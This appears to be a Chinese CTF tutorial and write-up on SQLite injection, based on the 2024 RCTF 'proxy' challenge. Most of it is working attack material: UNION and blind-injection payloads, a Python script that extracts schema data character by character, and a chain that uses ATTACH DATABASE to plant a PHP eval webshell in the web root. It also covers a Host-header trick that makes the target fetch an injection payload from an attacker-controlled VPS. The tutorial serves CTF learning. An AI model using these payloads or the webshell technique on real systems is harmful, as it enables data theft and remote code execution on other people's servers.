sqlite注入总结
前言
在RCTF中遇到一道关于sqlite注入的题,之前没有遇到过,于是刚好来学一下。
什么是sqlite
SQLite是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库不一样,您不需要在系统中配置。
就像其他数据库,SQLite 引擎不是一个独立的进程,可以按应用程序需求进行静态或动态连接。SQLite 直接访问其存储文件。
基础语法
语法和mysql大差不差
# 数据库基础语法
sqlite3 sqltest.db #sqlite的每一个数据库就是一个文件
#执行这个命令成功创建数据库文件之后,将提供一个 sqlite> 提示符。
sqlite> .databases #判断数据库是否存在
sqlite> .open sqltest.db #打开数据库
sqlite> .tables #列出数据库中所有的表
sqlite> .schema test #得到该表所使用的命令
#创建表,语句和mysql差不多,先进入sqlite>下
sqlite> create table test(
...> id INT PRIMARY KEY NOT NULL,
...> name char(50) NOT NULL
...> );
#向表中插入数据
sqlite> insert into test (id,name) values (1,'alice');
sqlite> insert into test (id,name) values (2,'bob');
#查询语句
sqlite> select * from test;
#导入导出
sqlite3 testDB.db .dump > testDB.sql #导出
sqlite3 testDB.db < testDB.sql #导入
sqlite_master
sqlite_master表中保存数据库表的关键信息。
他保存了执行的sql语句,也是之后注入 查询表名列名的关键。
#表中包含的字段如下
sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (
type text,
name text,
tbl_name text,
rootpage integer,
sql text
);
#从sqlite_master查表名:
sqlite> select tbl_name from sqlite_master where type='table';
#获取表名和列名
sqlite> select sql from sqlite_master where type='table'; #会打印出创建表时所执行的sql语句
#设置格式化输出,可以更加直观的看到执行结果
sqlite>.header on
sqlite>.mode column
sqlite>.timer on
注入漏洞
Demo关键部分
SELECT * from user_data where id='$id';
$ret = $db->query($sql);
这里id能够实现注入
注入方式和mysql的区别不大,少了一些我们经常使用的函数,mid、left,sleep,甚至if函数都没有.没有 information_schema
闭合方式与sql有区别:分号; – /*
因为注入方式和mysql注入差不多,就只简单列一下payload
#查询字段数
-1' union select 1,2,3;
1' order by 3;
#查版本
0' union select 1,2,sqlite_version();
#查询表名和列名 通过查询 sqlite_master 表来实现:
-1' union select 1,2,(select sql from sqlite_master limit 0,1),4;
#当存在多个表时,我们可以用 limit 关键字逐行读取,也可以使用 group_concat 关键字进行聚合:
-1' union select 1,2,(select group_concat(sql) from sqlite_master),4;
0' union select 1,2,tbl_name FROM sqlite_master limit 2 offset 1 --
#查询数据
-1' union select 1,2,(select group_concat(username,password) from table_name),4;
布尔盲注
#根据查询正确或错误时的页面回显来判断数据内容:
-1' or length(sqlite_version())=5/*
-1' or length(sqlite_version())=6/*
-1' or substr((select group_concat(sql) from sqlite_master),1,1)>'a'/*
-1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'/*
-1' or substr((select group_concat(sql) from sqlite_master),2,1)>'b'/*
-1' or substr((select group_concat(sql) from sqlite_master),2,1)<'b'/*
-1' or substr((select group_concat(sql) from sqlite_master),3,1)>'C'/*
-1' or substr((select group_concat(sql) from sqlite_master),3,1)<'C'/*
......
时间盲注
#QLite 没有 sleep() 函数,但是有个 randomblob(N) 函数,其作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。
并且 SQLite 没有 if,所以我们需要使用 case...when 来构造查询语句:
-1' or (case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end)/*
布尔盲注脚本
import requests
url = 'http://192.168.219.130/index.php'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "-1' or substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}'/*".format(i,chr(mid))
datas = {
"id": payload
}
res = requests.post(url=url,data=datas)
if 'Username' in res.text: # 为真时,即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
print('\n'+bytes.fromhex(flag).decode('utf-8'))
sqlite写shell
写shell依靠sqlite的创建数据库功能。
除了前面提到的 sqlite3 test.db 这种创建数据库方法还可以通过 ATTACH DATABASE 这种方法来实现。
attach
当在同一时间有多个数据库可用,您想使用其中的任何一个。SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库,使用该命令后,所有的 SQLite 语句将在附加的数据库下执行。
也就是我们先用splite3 test.db命令打开了一个文件,进入了sqlite>模式,仍然可以用attach附加一个数据库(自动创建)
命令格式:ATTACH DATABASE file_name AS database_name;
sqlite> ATTACH DATABASE 'testDB.db' as 'TEST'; #附加一个数据库命名为test
关键点: 如果数据库文件路径设置在web目录下,就可以实现写shell的功能。
要实现写shell,需要如下操作:
通过 attach 在目标目录新建一个数据库文件 => 在新数据库创建表 => 在表中插入payload
ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>');
把命令闭合一下
';ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>'); --
这样再访问shell.php传入参数x就能getshell了
2024RCTF-proxy
关键源码
index.php
<?php
require('Db.php');
require('Proxy.php');
$BE = $_GET['BE'] ?? 'flag'; //获取BE参数
$URL = '/'.$BE.'.php'; //构造一个url
$ProxyObj = new Proxy();
if($ProxyObj->SendRequest($URL)) //向服务器发起请求
{
$DbObj = new Db();
$arysql = array();
$sess = md5($_SERVER['REMOTE_ADDR']); //对客户端IP地址进行哈希处理。
$arysql[] = "INSERT OR REPLACE INTO CacheMain VALUES ('".$sess."', ".time().")"; //插入或替换一条记录到CacheMain表中,记录包括会话信息和当前时间戳。
$arysql[] = "INSERT INTO CacheDetail VALUES ('".$sess."', '".$BE."')"; //插入一条记录到CacheDetail表中,记录包括会话信息和获取到的BE参数。
$arysql[] = "CREATE TABLE Cache_".$sess."_".$BE." (t TEXT)"; //创建名为Cache_会话_BE的表。
$arysql[] = "INSERT INTO Cache_".$sess."_".$BE." VALUES('".$ProxyObj->body."')"; //向刚创建的表中插入一条记录,记录内容为$ProxyObj->body
$DbObj->execMultiSQL($arysql);
}
db.php
<?php
class Db{
private $dm_handler;
public function __construct($dm_conn = 'sqlite:data.db'){
$this->dm_handler = new PDO($dm_conn); //创建了一个PDO对象
$this->dm_handler->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); //设置PDO对象的错误处理模式为异常模式。
}
public function execMultiSQL($arysql){ //接受多个sql语句来执行
try{
$this->dm_handler->beginTransaction();
foreach($arysql as $asql){
$this->dm_handler->exec($asql); //执行每个sql语句
}
$this->dm_handler->commit();
return TRUE;
}
catch(PDOException $exception) { //由异常会返回false
$this->dm_handler->rollBack();
return FALSE;
}
}
}
只要有一个报错 就会到catch块中不会commit提交数据真正改变数据库
因为只要有报错就无法真正将shell写入数据库,所以不能直接利用
利用commit无视报错
COMMIT 命令是用于把事务调用的更改保存到数据库中的事务命令。
COMMIT 命令把自上次 COMMIT 或 ROLLBACK 命令以来的所有事务保存到数据库。
payload1
');COMMIT;ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["1"]); ?>');COMMIT;--+-
伪造$_SERVER[‘SERVER_NAME’]
proxy.php
<?php
class Proxy{
private $ch;
public $body;
public function __construct(){
$this->ch = curl_init() or die(curl_error()); //curl_init()初始化了一个CURL会话,并将其赋值给私有属性$ch
//curl_setopt($this->ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
}
public function SendRequest($URL)
{
$ret = TRUE;
if(isset($_SERVER['HTTPS'])){
if($_SERVER['HTTPS'] == 'off')
{
$http = 'http://';
}
else {
$http = 'https://';
}
}
else
{
$http = 'http://';
}
$http .= $_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT']; //拼接服务器名和端口号形成完整的请求URL
curl_setopt($this->ch, CURLOPT_URL, $http.$URL);
curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, 1);
try{
$this->body = curl_exec($this->ch);
} catch (Exception $ex) {
return FALSE;
}
return TRUE;
}
}
$_SERVER[‘SERVER_NAME’]是当前服务器主机名或IP地址,用于标识当前正在执行脚本的服务器。通常情况下,它是从 HTTP 请求的 Host 头中获取的。
$_SERVER[‘SERVER_PORT’] 是当前运行脚本的服务器端口号。当在浏览器中访问一个网站时,默认的 HTTP 端口号是 80,HTTPS 端口号是 443。
可以看看nc后有没有收到请求
payload2
vps上起一个shell.php
<?php
echo "');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval(\$_POST[1]); ?>');--+-";
?>
把HOST设置为你的公网IP,然后传BE=shell,这时web发起请求后,根据代码里面的拼接 URL = http://vps/shell.php,请求到了shell.php从而实现注入。
参考链接
https://blog.youkuaiyun.com/qq_39947980/article/details/139337184
https://xz.aliyun.com/t/8627